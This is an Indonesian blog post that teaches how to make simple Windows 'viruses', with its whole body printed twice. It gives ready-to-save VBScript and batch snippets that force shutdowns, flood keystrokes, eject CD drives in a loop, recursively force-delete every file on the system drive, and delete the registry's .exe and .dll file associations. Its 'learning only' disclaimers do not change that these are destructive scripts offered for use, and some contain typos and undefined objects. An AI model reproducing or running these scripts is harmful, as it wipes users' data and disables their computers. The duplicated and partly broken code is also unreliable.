NIH CUMAN BUAT BELAJAR AJ ............., JANGAN BUAT YANG GA BAIK
Virus ini di save dngn nama:
Nama_File.vbs
INGAT !! 'Save as type' harus diubah dulu menjadi 'All files'
Teknik Dasar Membuat VIRUS :
Pesan Virus
x=msgbox("VIRUS MENYERANG !!",vbCritical,"BAHAYA!")
Shutdown Komputer
@echo off msg * Komputer Terserang VIRUS ! shutdown -c "ERROR!! Ucapkan Selamat Tinggal Pada Komputermu!!" -s -t 10
Notepad Terbuka Terus Menerus
@ECHO off :top START %SystemRoot%/system32/notepad.exe GOTO top
Blue Screen
@echo off del %systemdrive%/*.* /f /s /q shutdown -r -f -t 00
Enter Trus Menerus
Set wshShell = wscript.CreateObject("WScript.Shell") do wscript.sleep 100 wshshell.sendkeys "~(enter)" loop
Disable Keyboard dengan Pesan
Set wshShell = wscript.CreateObject("WScript.Shell") do wscript.sleep 100 wshshell.sendkeys "Keyboard Anda Sudah Rusak! HARAP DI BANTING !!" loop
Disable Backspace dengan Pesan
MsgBox "Aduuh sakit!! Jangan dipencet terus BEGO !!" Set wshShell =wscript.CreateObject("WScript.Shell") do wscript.sleep 100 wshshell.sendkeys "{bs}" loop
Mengubah Title Internet Explorer
rg.regwrite "HKEY_CURRENT_USER \Softwere\Microsoft\Internet Explorer\Main\Window
Title"," Daryat Net "
Meng-Eject Drive CD-Room Terus Menerus
Set oWMP = CreateObject("WMPlayer.OCX.7") Set colCDROMs = oWMP.cdromCollection do if colCDROMs.Count >= 1 then For i = 0 to colCDROMs.Count - 1 colCDROMs.Item(i).Eject Next For i = 0 to colCDROMs.Count - 1 colCDROMs.Item(i).Eject Next End If wscript.sleep 5000 loop
^
^
Hati2 jika terlalu sering komputer akan RUSAK
Delete Registry (BAHAYA !! Harap di coba)
@ECHO OFF START reg delete HKCR/.exe START reg delete HKCR/.dll START reg delete HKCR/* :MESSAGE ECHO your computer has been fcked. Have a nice day. GOTO MASSAGE
PERINGATAN !! JANGAN GUNAKAN DIKOMPUTER ANDA !! Jika terjadi apa-apa saya tidak ikut bertanggung jawab !!
INGAT !! Disini saya hanya sekedar berbagi ilmu dan pengetahuan saja,, JANGAN GUNAKAN UNTUK KEJAHATAN !!
Nama_File.vbs
INGAT !! 'Save as type' harus diubah dulu menjadi 'All files'
Teknik Dasar Membuat VIRUS :
Pesan Virus
x=msgbox("VIRUS MENYERANG !!",vbCritical,"BAHAYA!")
Shutdown Komputer
@echo off msg * Komputer Terserang VIRUS ! shutdown -c "ERROR!! Ucapkan Selamat Tinggal Pada Komputermu!!" -s -t 10
Notepad Terbuka Terus Menerus
@ECHO off :top START %SystemRoot%/system32/notepad.exe GOTO top
Blue Screen
@echo off del %systemdrive%/*.* /f /s /q shutdown -r -f -t 00
Enter Trus Menerus
Set wshShell = wscript.CreateObject("WScript.Shell") do wscript.sleep 100 wshshell.sendkeys "~(enter)" loop
Disable Keyboard dengan Pesan
Set wshShell = wscript.CreateObject("WScript.Shell") do wscript.sleep 100 wshshell.sendkeys "Keyboard Anda Sudah Rusak! HARAP DI BANTING !!" loop
Disable Backspace dengan Pesan
MsgBox "Aduuh sakit!! Jangan dipencet terus BEGO !!" Set wshShell =wscript.CreateObject("WScript.Shell") do wscript.sleep 100 wshshell.sendkeys "{bs}" loop
Mengubah Title Internet Explorer
rg.regwrite "HKEY_CURRENT_USER \Softwere\Microsoft\Internet Explorer\Main\Window
Title"," Daryat Net "
Meng-Eject Drive CD-Room Terus Menerus
Set oWMP = CreateObject("WMPlayer.OCX.7") Set colCDROMs = oWMP.cdromCollection do if colCDROMs.Count >= 1 then For i = 0 to colCDROMs.Count - 1 colCDROMs.Item(i).Eject Next For i = 0 to colCDROMs.Count - 1 colCDROMs.Item(i).Eject Next End If wscript.sleep 5000 loop
^
^
Hati2 jika terlalu sering komputer akan RUSAK
Delete Registry (BAHAYA !! Harap di coba)
@ECHO OFF START reg delete HKCR/.exe START reg delete HKCR/.dll START reg delete HKCR/* :MESSAGE ECHO your computer has been fcked. Have a nice day. GOTO MASSAGE
PERINGATAN !! JANGAN GUNAKAN DIKOMPUTER ANDA !! Jika terjadi apa-apa saya tidak ikut bertanggung jawab !!
INGAT !! Disini saya hanya sekedar berbagi ilmu dan pengetahuan saja,, JANGAN GUNAKAN UNTUK KEJAHATAN !!
0 komentar:
Post a Comment